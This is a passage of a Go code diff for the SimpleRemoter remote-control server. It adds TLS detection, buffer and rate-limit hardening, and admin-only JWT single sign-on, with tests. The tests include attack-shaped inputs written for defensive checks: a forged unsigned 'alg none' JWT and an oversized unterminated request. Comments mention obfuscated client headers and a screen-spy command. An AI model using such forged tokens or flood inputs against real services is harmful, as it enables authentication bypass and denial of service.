+	// so a caller that loses the IP falls back to accepting.
+	if !l.allow("") {
+		t.Fatal("empty IP should bypass the limiter")
+	}
+}
+
+func TestIPLimiterSweep(t *testing.T) {
+	l := newIPLimiter(0, 1, time.Minute)
+
+	l.mu.Lock()
+	l.recent["stale"] = []time.Time{time.Now().Add(-time.Hour)}
+	l.recent["fresh"] = []time.Time{time.Now()}
+	l.mu.Unlock()
+
+	l.sweep()
+
+	l.mu.Lock()
+	defer l.mu.Unlock()
+	if _, ok := l.recent["stale"]; ok {
+		t.Fatal("stale rate-limit entry should be swept")
+	}
+	if _, ok := l.recent["fresh"]; !ok {
+		t.Fatal("fresh rate-limit entry should survive sweep")
+	}
+}
+
+func TestPeerIP(t *testing.T) {
+	tests := []struct {
+		addr net.Addr
+		want string
+	}{
+		{&net.TCPAddr{IP: net.ParseIP("1.2.3.4"), Port: 1234}, "1.2.3.4"},
+		{&net.TCPAddr{IP: net.ParseIP("::1"), Port: 6543}, "::1"},
+	}
+	for _, tt := range tests {
+		if got := peerIP(tt.addr); got != tt.want {
+			t.Fatalf("peerIP(%v) = %q, want %q", tt.addr, got, tt.want)
+		}
+	}
+}
+
+// A peer that sends bytes which never assemble into a complete packet (here an
+// HTTP-mask envelope with no terminating CRLF CRLF) must be disconnected once
+// the per-connection buffer cap is exceeded, rather than allowed to grow it
+// without bound.
+func TestHandleConnectionBufferCap(t *testing.T) {
+	cfg := DefaultConfig()
+	cfg.MaxBufferedBytes = 1024 // small cap for a fast, in-memory test
+	cfg.ReadTimeout = time.Second
+
+	srv := New(cfg)
+	srv.running.Store(true) // bypass acceptLoop; exercise handleConnection directly
+
+	client, serverConn := net.Pipe()
+	defer client.Close()
+
+	done := make(chan struct{})
+	go func() {
+		srv.handleConnection(serverConn)
+		close(done)
+	}()
+
+	// "POST " prefix with no terminator, plus filler to exceed the cap.
+	payload := append([]byte("POST /x HTTP/1.1\r\n"), bytes.Repeat([]byte{'A'}, 4096)...)
+	writeErr := make(chan error, 1)
+	go func() {
+		_, err := client.Write(payload)
+		writeErr <- err
+	}()
+
+	select {
+	case <-done:
+		// handleConnection returned because the cap was exceeded and it closed
+		// the connection.
+	case <-time.After(2 * time.Second):
+		t.Fatal("connection was not closed after exceeding the buffer cap")
+	}
+}

server/go/server/tls.go

@@ -0,0 +1,113 @@
+package server
+
+import (
+	"bufio"
+	"crypto/tls"
+	"fmt"
+	"net"
+	"time"
+)
+
+// loadTLSConfig builds the server's one-way TLS configuration from the
+// configured cert/key paths, leaving s.tlsCfg nil when TLS is disabled. A cert
+// path set without its key (or vice versa) is a misconfiguration: TLS is left
+// disabled and a warning is logged rather than guessing. A load failure is
+// returned to the caller so startup fails loudly instead of silently serving
+// plaintext.
+func (s *Server) loadTLSConfig() error {
+	if s.config.TLSCertFile == "" && s.config.TLSKeyFile == "" {
+		return nil
+	}
+	if s.config.TLSCertFile == "" || s.config.TLSKeyFile == "" {
+		s.logger.Warn("TLS disabled: both YAMA_TLS_CERT and YAMA_TLS_KEY must be set (cert=%q key=%q)",
+			s.config.TLSCertFile, s.config.TLSKeyFile)
+		return nil
+	}
+
+	cert, err := tls.LoadX509KeyPair(s.config.TLSCertFile, s.config.TLSKeyFile)
+	if err != nil {
+		return fmt.Errorf("load TLS cert/key: %w", err)
+	}
+
+	s.tlsCfg = &tls.Config{
+		Certificates: []tls.Certificate{cert},
+		MinVersion:   tls.VersionTLS12,
+		// One-way TLS: no ClientAuth / ClientCAs. Client identity is still
+		// established by the in-tunnel login (V1 PwdHmac / V2 ECDSA).
+	}
+	s.logger.Info("TLS enabled (one-way): cert=%s", s.config.TLSCertFile)
+	return nil
+}
+
+// isTLSClientHello reports whether b begins with a TLS handshake record whose
+// first message is a ClientHello:
+//
+//	0x16       — handshake record type
+//	0x03       — TLS major version (all TLS 1.x / 1.3 records)
+//	0x01 (b[5])— handshake message type ClientHello
+//
+// The first two bytes alone are insufficient: the C++ client obfuscates its
+// "HELL" header (common/header.h GetHead) with a per-connection key, so a
+// plaintext client can in principle emit 0x16 0x03 as its first two bytes. For
+// that obfuscated header byte 5 is always 0x00, and for the plain "Shine"/
+// "POST" variants it is an ASCII byte — never 0x01. Requiring b[5]==0x01 makes
+// a false positive effectively impossible.
+func isTLSClientHello(b []byte) bool {
+	return len(b) >= 6 && b[0] == 0x16 && b[1] == 0x03 && b[5] == 0x01
+}
+
+// bufferedConn replays bytes already peeked from a net.Conn, so the caller can
+// sniff a prefix and then hand the connection (peeked bytes included) to the
+// TLS or plaintext read loop. Read delegates to the buffered reader; everything
+// else delegates to the embedded net.Conn.
+type bufferedConn struct {
+	net.Conn
+	r *bufio.Reader
+}
+
+func (c *bufferedConn) Read(p []byte) (int, error) {
+	return c.r.Read(p)
+}
+
+// wrapTLS sniffs the first bytes of a freshly accepted connection and, when TLS
+// is enabled and the peer is speaking TLS, returns a tls.Conn wrapper. The TLS
+// handshake is lazy: it runs on the first Read, which handleConnection already
+// bounds with its ReadTimeout. Plaintext peers are returned unchanged (wrapped
+// in a bufferedConn so the sniffed prefix is replayed).
+func (s *Server) wrapTLS(conn net.Conn) net.Conn {
+	// NewContext only disables Nagle on a *net.TCPConn; once we wrap the conn
+	// (bufferedConn / tls.Conn) that assertion no longer fires, so disable it
+	// here on the raw conn to preserve screen-handshake responsiveness.
+	if tcp, ok := conn.(*net.TCPConn); ok {
+		_ = tcp.SetNoDelay(true)
+	}
+
+	if s.tlsCfg == nil {
+		return conn
+	}
+
+	br := bufio.NewReader(conn)
+	if s.config.ReadTimeout > 0 {
+		_ = conn.SetReadDeadline(time.Now().Add(s.config.ReadTimeout))
+	}
+	hdr, err := br.Peek(6)
+	_ = conn.SetReadDeadline(time.Time{})
+
+	// Peek failed (timeout / EOF): the peer never delivered enough bytes to
+	// identify itself. Fall through with the raw conn so the read loop surfaces
+	// EOF/timeout exactly as it does for the plaintext path today. Any <6
+	// partial bytes already buffered are discarded, which only affects peers
+	// that were already broken (real clients send ≥13 bytes immediately).
+	if err != nil {
+		s.logger.Warn("wrapTLS peek failed for %s: %v", conn.RemoteAddr(), err)
+		return conn
+	}
+
+	bc := &bufferedConn{Conn: conn, r: br}
+	if isTLSClientHello(hdr) {
+		s.logger.Debug("wrapTLS: TLS peer %s first6=%x", conn.RemoteAddr(), hdr)
+		return tls.Server(bc, s.tlsCfg)
+	}
+	s.logger.Debug("wrapTLS: plaintext peer %s first6=%x", conn.RemoteAddr(), hdr)
+	return bc
+}

server/go/server/tls_test.go

@@ -0,0 +1,55 @@
+package server
+
+import "testing"
+
+func TestIsTLSClientHello(t *testing.T) {
+	tests := []struct {
+		name string
+		b    []byte
+		want bool
+	}{
+		{
+			name: "TLS 1.2 ClientHello",
+			b:    []byte{0x16, 0x03, 0x03, 0x00, 0x01, 0x01, 0x00},
+			want: true,
+		},
+		{
+			name: "TLS 1.3 ClientHello (legacy record version)",
+			b:    []byte{0x16, 0x03, 0x01, 0x00, 0x01, 0x01, 0x00},
+			want: true,
+		},
+		{
+			name: "plaintext Shine flag",
+			b:    []byte{'S', 'h', 'i', 'n', 'e', 0x00, 0x00},
+			want: false,
+		},
+		{
+			name: "obfuscated HELL header that happens to start 0x16 0x03 but byte5=0x00",
+			b:    []byte{0x16, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00},
+			want: false,
+		},
+		{
+			name: "HTTP-mask POST envelope",
+			b:    []byte{'P', 'O', 'S', 'T', ' ', '/', 'x'},
+			want: false,
+		},
+		{
+			name: "0x16 0x03 but handshake type ServerHello (0x02), not ClientHello",
+			b:    []byte{0x16, 0x03, 0x03, 0x00, 0x01, 0x02, 0x00},
+			want: false,
+		},
+		{
+			name: "too short",
+			b:    []byte{0x16, 0x03, 0x01},
+			want: false,
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			if got := isTLSClientHello(tt.b); got != tt.want {
+				t.Errorf("isTLSClientHello(% x) = %v, want %v", tt.b, got, tt.want)
+			}
+		})
+	}
+}

server/go/web/server.go

@@ -6,11 +6,15 @@ import (
 	"encoding/json"
 	"errors"
 	"fmt"
+	"html"
 	"net"
 	"net/http"
 	"strconv"
 	"strings"
+	"sync"
 	"time"
+	"unicode"
+	"unicode/utf8"
 
 	"github.com/yuanyuanxiang/SimpleRemoter/server/go/hub"
 	"github.com/yuanyuanxiang/SimpleRemoter/server/go/logger"
@@ -32,6 +36,10 @@ type Server struct {
 	loginUserLimit    *wsauth.RateLimiter
 	trustForwardedFor bool // honor X-Forwarded-For (behind trusted proxy only)
 	basePath          string // web UI mount prefix (e.g. "/remoter"); "" = domain root
+	brandName         string // white-label title; "" = "SimpleRemoter" (official branding)
+	sso               SSODetector // nil = SSO disabled
+	sweepDone         chan struct{} // closes to stop the login-limiter sweeper
+	sweepStopOnce     sync.Once
 }
 
 // Config tunes the server's exposed-on-public-HTTPS hardening knobs.
@@ -60,6 +68,15 @@ type Config struct {
 	// https://example.com/remoter). Must be empty or a leading-slash,
 	// no-trailing-slash path; "" (default) serves from the domain root.
 	BasePath string
+	// BrandName is the white-label product title shown in index.html and the
+	// PWA manifest when BasePath is non-empty (i.e. mounted under another
+	// domain). Read from the YAMA_WEB_BRAND_NAME env var by cmd. Empty leaves
+	// the official "SimpleRemoter" branding in place.
+	BrandName string
+	// SSO is an optional detector that maps an already-authenticated portal
+	// session (cookie/header) into a YAMA web session via /sso. nil disables
+	// SSO and the front-end falls back to the built-in login form.
+	SSO SSODetector
 }
 
 // New creates an HTTP server bound to the given port. port=0 disables the server.
@@ -77,6 +94,8 @@ func (s *Server) WithConfig(cfg Config) *Server {
 	s.loginUserLimit = cfg.LoginUserLimit
 	s.trustForwardedFor = cfg.TrustForwardedFor
 	s.basePath = cfg.BasePath
+	s.brandName = resolveBrandName(cfg.BrandName, s.basePath)
+	s.sso = cfg.SSO
 	return s
 }
 
@@ -98,6 +117,7 @@ func (s *Server) Start() error {
 	mux.HandleFunc("/health", s.handleHealth)
 	mux.HandleFunc("/manifest.json", s.handleManifest)
 	mux.HandleFunc("/api/devices", s.requireBearer(s.handleDevices))
+	mux.HandleFunc("/sso", s.handleSSO)
 	mux.HandleFunc("/ws", s.ws.serve)
 	mux.HandleFunc("/static/xterm.js", staticHandler(xtermJS, "application/javascript; charset=utf-8"))
 	mux.HandleFunc("/static/xterm.css", staticHandler(xtermCSS, "text/css; charset=utf-8"))
@@ -123,11 +143,40 @@ func (s *Server) Start() error {
 			s.log.Error("HTTP server stopped: %v", err)
 		}
 	}()
+
+	// Prune aged-out login rate-limit entries so the key maps (especially the
+	// username-keyed one, which is attacker-controlled) stay bounded.
+	s.sweepDone = make(chan struct{})
+	go s.sweepLoginLimiters(s.sweepDone)
+
 	return nil
 }
 
+// sweepLoginLimiters periodically sweeps both web login rate limiters. Runs
+// until `stop` is closed (from Stop).
+func (s *Server) sweepLoginLimiters(stop <-chan struct{}) {
+	t := time.NewTicker(time.Minute)
+	defer t.Stop()
+	for {
+		select {
+		case <-stop:
+			return
+		case <-t.C:
+			if s.loginIPLimit != nil {
+				s.loginIPLimit.Sweep()
+			}
+			if s.loginUserLimit != nil {
+				s.loginUserLimit.Sweep()
+			}
+		}
+	}
+}
+
 // Stop gracefully shuts the server down.
 func (s *Server) Stop() {
+	if s.sweepDone != nil {
+		s.sweepStopOnce.Do(func() { close(s.sweepDone) })
+	}
 	if s.ws != nil {
 		s.ws.stop()
 	}
@@ -143,6 +192,10 @@ func (s *Server) Stop() {
 // configured base path at serve time. Empty base path → "" → root URLs.
 const basePathPlaceholder = "__BASE_PATH__"
 
+// brandPlaceholder is the token in index.html substituted with the product
+// title at serve time (official or white-label, depending on BasePath).
+const brandPlaceholder = "__BRAND_NAME__"
+
 // mount wraps the root-path mux with the configured base path. When basePath
 // is empty the mux is returned unchanged (domain-root serving, 方案A). Otherwise
 // the bare prefix redirects to prefix+"/", paths outside the prefix 404, and
@@ -171,6 +224,11 @@ func (s *Server) handleIndex(w http.ResponseWriter, r *http.Request) {
 		return
 	}
 	body := bytes.ReplaceAll(IndexHTML, []byte(basePathPlaceholder), []byte(s.basePath))
+	body = bytes.ReplaceAll(body, []byte(brandPlaceholder), []byte(html.EscapeString(s.displayName())))
+	if s.isWhiteLabel() {
+		body = stripBrandBlock(body, "NOTICE")
+		body = stripBrandBlock(body, "LINKS")
+	}
 	w.Header().Set("Content-Type", "text/html; charset=utf-8")
 	w.Header().Set("Cache-Control", "no-cache")
 	_, _ = w.Write(body)
@@ -234,15 +292,36 @@ func (s *Server) manifestJSON() []byte {
 	if s.basePath != "" {
 		start = s.basePath + "/"
 	}
-	return []byte(fmt.Sprintf(`{
-  "name": "SimpleRemoter",
-  "short_name": "Remoter",
-  "start_url": "%s",
-  "display": "standalone",
-  "orientation": "any",
-  "background_color": "#1a1a2e",
-  "theme_color": "#1a1a2e"
-}`, start))
+	name := s.displayName()
+	shortName := "Remoter"
+	if s.isWhiteLabel() {
+		shortName = name
+	}
+	// Marshal via encoding/json so an operator-supplied brand name containing
+	// quotes or backslashes can't produce invalid JSON.
+	manifest := struct {
+		Name            string `json:"name"`
+		ShortName       string `json:"short_name"`
+		StartURL        string `json:"start_url"`
+		Display         string `json:"display"`
+		Orientation     string `json:"orientation"`
+		BackgroundColor string `json:"background_color"`
+		ThemeColor      string `json:"theme_color"`
+	}{
+		Name:            name,
+		ShortName:       shortName,
+		StartURL:        start,
+		Display:         "standalone",
+		Orientation:     "any",
+		BackgroundColor: "#1a1a2e",
+		ThemeColor:      "#1a1a2e",
+	}
+	b, err := json.MarshalIndent(manifest, "", "  ")
+	if err != nil {
+		// A struct of plain strings cannot fail to marshal.
+		return []byte(`{"start_url":"/","display":"standalone"}`)
+	}
+	return b
 }
 
 func (s *Server) handleManifest(w http.ResponseWriter, r *http.Request) {
@@ -251,6 +330,68 @@ func (s *Server) handleManifest(w http.ResponseWriter, r *http.Request) {
 	_, _ = w.Write(s.manifestJSON())
 }
 
+// displayName returns the product title shown in the UI: the configured brand
+// name when set, otherwise the official "SimpleRemoter".
+func (s *Server) displayName() string {
+	if s.brandName != "" {
+		return s.brandName
+	}
+	return "SimpleRemoter"
+}
+
+// isWhiteLabel reports whether the web UI is mounted under another domain's
+// subpath (BasePath non-empty). In that case the official SimpleRemoter
+// branding (security notice, website links) is stripped and the configured
+// brand name is shown instead.
+func (s *Server) isWhiteLabel() bool {
+	return s.basePath != ""
+}
+
+// resolveBrandName picks the effective white-label title: the configured value
+// when non-empty, else a fallback derived from the base path's last segment
+// (e.g. "/remoter" → "Remoter"). Empty base path means the UI is served at the
+// domain root, so it returns "" (official "SimpleRemoter") and ignores any
+// configured name — white-label branding only applies to subpath deployment.
+func resolveBrandName(configured, basePath string) string {
+	if basePath == "" {
+		return ""
+	}
+	if configured != "" {
+		return configured
+	}
+	seg := strings.Trim(basePath, "/")
+	if i := strings.LastIndex(seg, "/"); i >= 0 {
+		seg = seg[i+1:]
+	}
+	return capitalizeFirst(seg)
+}
+
+// capitalizeFirst upper-cases the first rune, UTF-8 safe (no byte slicing).
+func capitalizeFirst(s string) string {
+	if s == "" {
+		return s
+	}
+	r, size := utf8.DecodeRuneInString(s)
+	return string(unicode.ToUpper(r)) + s[size:]
+}
+
+// stripBrandBlock removes the index.html block delimited by
+// <!--BRAND-<name>-START--> … <!--BRAND-<name>-END--> (markers included).
+func stripBrandBlock(body []byte, name string) []byte {
+	start := []byte("<!--BRAND-" + name + "-START-->")
+	end := []byte("<!--BRAND-" + name + "-END-->")
+	i := bytes.Index(body, start)
+	if i < 0 {
+		return body
+	}
+	j := bytes.Index(body[i:], end)
+	if j < 0 {
+		return body
+	}
+	j += i + len(end)
+	return append(body[:i], body[j:]...)
+}
+
 // staticHandler returns an http.HandlerFunc that serves a fixed byte slice
 // with the given content-type. Used for embedded third-party assets (xterm.js etc.)
 // that change infrequently — 1-day browser cache is fine.

server/go/web/sso.go

@@ -0,0 +1,63 @@
+package web
+
+import (
+	"encoding/json"
+	"net/http"
+)
+
+// SSODetector maps an incoming HTTP request from an already-authenticated
+// portal session into a YAMA web identity (username + role). Implementations
+// are portal-specific: each one knows how to recognize its portal's session
+// credential (a cookie, a header, a JWT, ...) and translate the caller to
+// YAMA's two roles, "admin" and "viewer".
+//
+// Detect returns ok=false when the request carries no usable credential, or
+// the credential is invalid/expired; the caller then falls back to the
+// built-in login form. username is used only for audit/logging. Whether a
+// detected identity is actually bridged into a session is handleSSO's policy:
+// currently only "admin" is bridged, everyone else falls back to the login form.
+type SSODetector interface {
+	Detect(r *http.Request) (username, role string, ok bool)
+}
+
+// handleSSO bridges a detected portal identity into a YAMA session token.
+// Only administrators are bridged: a valid portal session for any other role
+// (viewer, unknown) still returns 401 and the front-end falls back to the
+// built-in login form, so a low-privileged portal account cannot walk straight
+// into the remote-desktop console. When no detector is configured, or the
+// request is not recognized, it also returns 401.
+func (s *Server) handleSSO(w http.ResponseWriter, r *http.Request) {
+	if s.sso == nil {
+		s.unauthorized(w)
+		return
+	}
+	username, role, ok := s.sso.Detect(r)
+	if !ok {
+		s.unauthorized(w)
+		return
+	}
+	// Only the "admin" role may skip the login form via SSO. Every other role
+	// (viewer, unknown) must authenticate against YAMA's own login, even with
+	// a valid portal session.
+	if role != "admin" {
+		s.unauthorized(w)
+		return
+	}
+
+	token, err := s.auth.IssueToken(username, role)
+	if err != nil {
+		w.Header().Set("Content-Type", "application/json")
+		w.WriteHeader(http.StatusInternalServerError)
+		_, _ = w.Write([]byte(`{"error":"internal error"}`))
+		return
+	}
+
+	s.log.Info("sso: user=%s role=%s", username, role)
+	w.Header().Set("Content-Type", "application/json; charset=utf-8")
+	w.Header().Set("Cache-Control", "no-store")
+	_ = json.NewEncoder(w).Encode(map[string]string{
+		"token":    token,
+		"role":     role,
+		"username": username,
+	})
+}

server/go/web/sso_jwt.go

@@ -0,0 +1,127 @@
+package web
+
+import (
+	"errors"
+	"net/http"
+	"strings"
+
+	"github.com/golang-jwt/jwt/v5"
+)
+
+// JWTDetector is an SSODetector for portals that hand the browser a signed
+// JWT as an HttpOnly session cookie (or an Authorization: Bearer header). It
+// verifies the token with a shared HMAC secret and maps the identity claims
+// to a YAMA role. It is portal-agnostic: the secret, cookie name, claim keys
+// and the role value that means "admin" are all supplied at construction, so
+// the same detector serves any portal using this pattern.
+type JWTDetector struct {
+	secret        []byte
+	cookieName    string
+	usernameClaim string
+	roleClaim     string
+	adminRole     string
+}
+
+// JWTDetectorConfig configures a JWTDetector. Secret is the shared HMAC key
+// (required). The remaining fields have defaults for a typical portal:
+// CookieName "auth_token", UsernameClaim "username", RoleClaim "rolename",
+// AdminRole "admin".
+type JWTDetectorConfig struct {
+	Secret        string
+	CookieName    string
+	UsernameClaim string
+	RoleClaim     string
+	AdminRole     string
+}
+
+// NewJWTDetector builds a JWTDetector, applying defaults for any unset
+// optional field.
+func NewJWTDetector(cfg JWTDetectorConfig) *JWTDetector {
+	if cfg.CookieName == "" {
+		cfg.CookieName = "auth_token"
+	}
+	if cfg.UsernameClaim == "" {
+		cfg.UsernameClaim = "username"
+	}
+	if cfg.RoleClaim == "" {
+		cfg.RoleClaim = "rolename"
+	}
+	if cfg.AdminRole == "" {
+		cfg.AdminRole = "admin"
+	}
+	return &JWTDetector{
+		secret:        []byte(cfg.Secret),
+		cookieName:    cfg.CookieName,
+		usernameClaim: cfg.UsernameClaim,
+		roleClaim:     cfg.RoleClaim,
+		adminRole:     cfg.AdminRole,
+	}
+}
+
+// Detect reads the JWT from the configured cookie (falling back to a Bearer
+// header), verifies its signature and expiry, and maps the identity to a YAMA
+// role. Only HMAC algorithms are accepted, rejecting algorithm-confusion
+// attempts (alg=none / asymmetric algorithms).
+func (d *JWTDetector) Detect(r *http.Request) (username, role string, ok bool) {
+	tokenString := d.extract(r)
+	if tokenString == "" {
+		return "", "", false
+	}
+
+	claims, ok := d.parse(tokenString)
+	if !ok {
+		return "", "", false
+	}
+
+	username, _ = claims[d.usernameClaim].(string)
+	if username == "" {
+		return "", "", false
+	}
+
+	rolename, _ := claims[d.roleClaim].(string)
+	if rolename == d.adminRole {
+		role = "admin"
+	} else {
+		role = "viewer"
+	}
+	return username, role, true
+}
+
+// extract returns the raw JWT from the configured cookie, or from a Bearer
+// header as a fallback.
+func (d *JWTDetector) extract(r *http.Request) string {
+	if d.cookieName != "" {
+		if ck, err := r.Cookie(d.cookieName); err == nil && ck.Value != "" {
+			return ck.Value
+		}
+	}
+	if hdr := r.Header.Get("Authorization"); strings.HasPrefix(hdr, "Bearer ") {
+		return strings.TrimSpace(strings.TrimPrefix(hdr, "Bearer "))
+	}
+	return ""
+}
+
+// parse verifies a JWT against the shared HMAC secret and returns its claims.
+func (d *JWTDetector) parse(tokenString string) (jwt.MapClaims, bool) {
+	if len(d.secret) == 0 {
+		// Fail closed: an unset shared secret must never accept a token.
+		// A detector wired up with an empty secret is a misconfiguration, and
+		// accepting an empty-key-signed token here would be a trivial auth
+		// bypass. Rejecting everything means SSO silently falls back to login.
+		return nil, false
+	}
+	token, err := jwt.Parse(tokenString, func(t *jwt.Token) (interface{}, error) {
+		if _, ok := t.Method.(*jwt.SigningMethodHMAC); !ok {
+			return nil, errors.New("invalid signing algorithm")
+		}
+		return d.secret, nil
+	})
+	if err != nil || !token.Valid {
+		return nil, false
+	}
+	claims, ok := token.Claims.(jwt.MapClaims)
+	if !ok {
+		return nil, false
+	}
+	return claims, true
+}

server/go/web/sso_test.go

@@ -0,0 +1,180 @@
+package web
+
+import (
+	"encoding/base64"
+	"encoding/json"
+	"net/http"
+	"net/http/httptest"
+	"strings"
+	"testing"
+	"time"
+
+	"github.com/golang-jwt/jwt/v5"
+
+	"github.com/yuanyuanxiang/SimpleRemoter/server/go/logger"
+	"github.com/yuanyuanxiang/SimpleRemoter/server/go/wsauth"
+)
+
+const testSSOSecret = "test-shared-secret"
+
+func signTestToken(t *testing.T, secret string, claims jwt.MapClaims) string {
+	t.Helper()
+	tok := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
+	s, err := tok.SignedString([]byte(secret))
+	if err != nil {
+		t.Fatalf("sign test token: %v", err)
+	}
+	return s
+}
+
+// noneToken builds a base64url header/claims JWT with alg "none" and no
+// signature, to exercise the algorithm-confusion rejection path.
+func noneToken(claims jwt.MapClaims) string {
+	h, _ := json.Marshal(map[string]string{"alg": "none", "typ": "JWT"})
+	c, _ := json.Marshal(claims)
+	enc := base64.RawURLEncoding.EncodeToString
+	return strings.TrimRight(enc(h), "=") + "." + strings.TrimRight(enc(c), "=") + "."
+}
+
+func cookieReq(token string) *http.Request {
+	r := &http.Request{Header: http.Header{}}
+	r.AddCookie(&http.Cookie{Name: "auth_token", Value: token})
+	return r
+}
+
+func bearerReq(token string) *http.Request {
+	r := &http.Request{Header: http.Header{}}
+	r.Header.Set("Authorization", "Bearer "+token)
+	return r
+}
+
+func TestJWTDetector(t *testing.T) {
+	d := NewJWTDetector(JWTDetectorConfig{Secret: testSSOSecret})
+
+	valid := func(rolename string) jwt.MapClaims {
+		return jwt.MapClaims{
+			"username": "alice",
+			"rolename": rolename,
+			"exp":      time.Now().Add(time.Hour).Unix(),
+		}
+	}
+
+	tests := []struct {
+		name     string
+		req      *http.Request
+		wantUser string
+		wantRole string
+		wantOK   bool
+	}{
+		{"admin maps to admin", cookieReq(signTestToken(t, testSSOSecret, valid("admin"))), "alice", "admin", true},
+		{"viewer maps to viewer", cookieReq(signTestToken(t, testSSOSecret, valid("viewer"))), "alice", "viewer", true},
+		{"empty rolename maps to viewer", cookieReq(signTestToken(t, testSSOSecret, valid(""))), "alice", "viewer", true},
+		{"unknown rolename maps to viewer", cookieReq(signTestToken(t, testSSOSecret, valid("operator"))), "alice", "viewer", true},
+		{"bearer header accepted", bearerReq(signTestToken(t, testSSOSecret, valid("admin"))), "alice", "admin", true},
+		{"no credential", &http.Request{Header: http.Header{}}, "", "", false},
+		{"wrong secret rejected", cookieReq(signTestToken(t, "other-secret", valid("admin"))), "", "", false},
+		{"expired token rejected", cookieReq(signTestToken(t, testSSOSecret, jwt.MapClaims{
+			"username": "alice", "rolename": "admin", "exp": time.Now().Add(-time.Hour).Unix(),
+		})), "", "", false},
+		{"missing username rejected", cookieReq(signTestToken(t, testSSOSecret, jwt.MapClaims{
+			"rolename": "admin", "exp": time.Now().Add(time.Hour).Unix(),
+		})), "", "", false},
+		{"alg none rejected", cookieReq(noneToken(valid("admin"))), "", "", false},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			user, role, ok := d.Detect(tt.req)
+			if ok != tt.wantOK {
+				t.Fatalf("ok = %v, want %v (user=%q role=%q)", ok, tt.wantOK, user, role)
+			}
+			if !tt.wantOK {
+				return
+			}
+			if user != tt.wantUser || role != tt.wantRole {
+				t.Fatalf("got (%q, %q), want (%q, %q)", user, role, tt.wantUser, tt.wantRole)
+			}
+		})
+	}
+}
+
+// A detector with no shared secret must never accept a token, even one signed
+// with an empty key — otherwise a misconfigured deployment would silently
+// accept forged sessions.
+func TestJWTDetectorEmptySecretFailClosed(t *testing.T) {
+	d := NewJWTDetector(JWTDetectorConfig{})
+	tok := signTestToken(t, "", jwt.MapClaims{
+		"username": "alice", "rolename": "admin", "exp": time.Now().Add(time.Hour).Unix(),
+	})
+	if _, _, ok := d.Detect(cookieReq(tok)); ok {
+		t.Fatal("empty-secret detector accepted a token; expected fail-closed")
+	}
+}
+
+// Non-default config keys must be honored, so a different portal can reuse the
+// detector with no code changes.
+func TestJWTDetectorCustomConfig(t *testing.T) {
+	d := NewJWTDetector(JWTDetectorConfig{
+		Secret:        testSSOSecret,
+		CookieName:    "session",
+		UsernameClaim: "sub",
+		RoleClaim:     "role",
+		AdminRole:     "root",
+	})
+	tok := signTestToken(t, testSSOSecret, jwt.MapClaims{
+		"sub": "bob", "role": "root", "exp": time.Now().Add(time.Hour).Unix(),
+	})
+	r := &http.Request{Header: http.Header{}}
+	r.AddCookie(&http.Cookie{Name: "session", Value: tok})
+	user, role, ok := d.Detect(r)
+	if !ok || user != "bob" || role != "admin" {
+		t.Fatalf("got (%q, %q, %v), want (%q, %q, true)", user, role, ok, "bob", "admin")
+	}
+}
+
+// fakeSSODetector lets the /sso handler's role policy be exercised without a
+// real portal JWT.
+type fakeSSODetector struct {
+	username, role string
+	ok             bool
+}
+
+func (f *fakeSSODetector) Detect(*http.Request) (string, string, bool) {
+	return f.username, f.role, f.ok
+}
+
+// The /sso handler must only bridge administrators. A valid portal session for
+// any other role — or no session at all — returns 401 so the front-end falls
+// back to the built-in login form.
+func TestHandleSSOAdminOnly(t *testing.T) {
+	newSrv := func(d SSODetector) *Server {
+		return &Server{
+			log:  logger.New(logger.Config{}),
+			auth: wsauth.New(),
+			sso:  d,
+		}
+	}
+
+	tests := []struct {
+		name       string
+		detector   SSODetector
+		wantStatus int
+	}{
+		{"admin is bridged", &fakeSSODetector{"alice", "admin", true}, http.StatusOK},
+		{"viewer is rejected", &fakeSSODetector{"bob", "viewer", true}, http.StatusUnauthorized},
+		{"unknown role is rejected", &fakeSSODetector{"carol", "operator", true}, http.StatusUnauthorized},
+		{"no credential is rejected", &fakeSSODetector{ok: false}, http.StatusUnauthorized},
+		{"SSO disabled", nil, http.StatusUnauthorized},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			s := newSrv(tt.detector)
+			rec := httptest.NewRecorder()
+			s.handleSSO(rec, httptest.NewRequest(http.MethodPost, "/sso", nil))
+			if rec.Code != tt.wantStatus {
+				t.Fatalf("status = %d, want %d (body=%s)", rec.Code, tt.wantStatus, rec.Body.String())
+			}
+		})
+	}
+}

server/go/web/ws_handlers.go

@@ -339,7 +339,7 @@ func (h *wsHub) handleConnect(c *wsClient, raw []byte) {
 		c.queue(mustJSON(map[string]any{"cmd": "connect_result", "ok": false, "msg": msg}))
 		return
 	}
-	h.log.Info("[timing] COMMAND_SCREEN_SPY sent to device=%s (cold start)", in.ID)
+	h.log.Debug("[timing] COMMAND_SCREEN_SPY sent to device=%s (cold start)", in.ID)
 
 	c.queue(mustJSON(map[string]any{"cmd": "connect_result", "ok": true}))
 }

server/go/wsauth/wsauth.go

@@ -258,7 +258,6 @@ func (a *Authenticator) fakeSalt(username string) string {
 func (a *Authenticator) VerifyLogin(username, response, nonce string) (token, role string, err error) {
 	a.mu.RLock()
 	u, ok := a.users[username]
-	expire := a.tokenExpire
 	a.mu.RUnlock()
 	if !ok {
 		return "", "", errors.New("invalid credentials")
@@ -268,18 +267,30 @@ func (a *Authenticator) VerifyLogin(username, response, nonce string) (token, ro
 		return "", "", errors.New("invalid credentials")
 	}
 
-	token, err = randomHex(tokenBytes)
+	token, err = a.IssueToken(username, u.Role)
 	if err != nil {
 		return "", "", err
 	}
+	return token, u.Role, nil
+}
+
+// IssueToken mints and stores a fresh session token for an identity that has
+// already been authenticated out-of-band (SSO), skipping the challenge
+// response. username is used only for audit/logging; authorization keys on
+// Role. The caller must pass a role already normalized to "admin" or "viewer".
+func (a *Authenticator) IssueToken(username, role string) (string, error) {
+	token, err := randomHex(tokenBytes)
+	if err != nil {
+		return "", err
+	}
 	a.mu.Lock()
 	a.tokens[token] = &Session{
 		Username:  username,
-		Role:      u.Role,
-		ExpiresAt: time.Now().Add(expire),
+		Role:      role,
+		ExpiresAt: time.Now().Add(a.tokenExpire),
 	}
 	a.mu.Unlock()
-	return token, u.Role, nil
+	return token, nil
 }
 
 // usersFileEntry is the on-disk shape of one record in users.json. Field

server/web/index.html

@@ -3,11 +3,11 @@
 <head>
     <meta charset="UTF-8">
     <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, viewport-fit=cover">
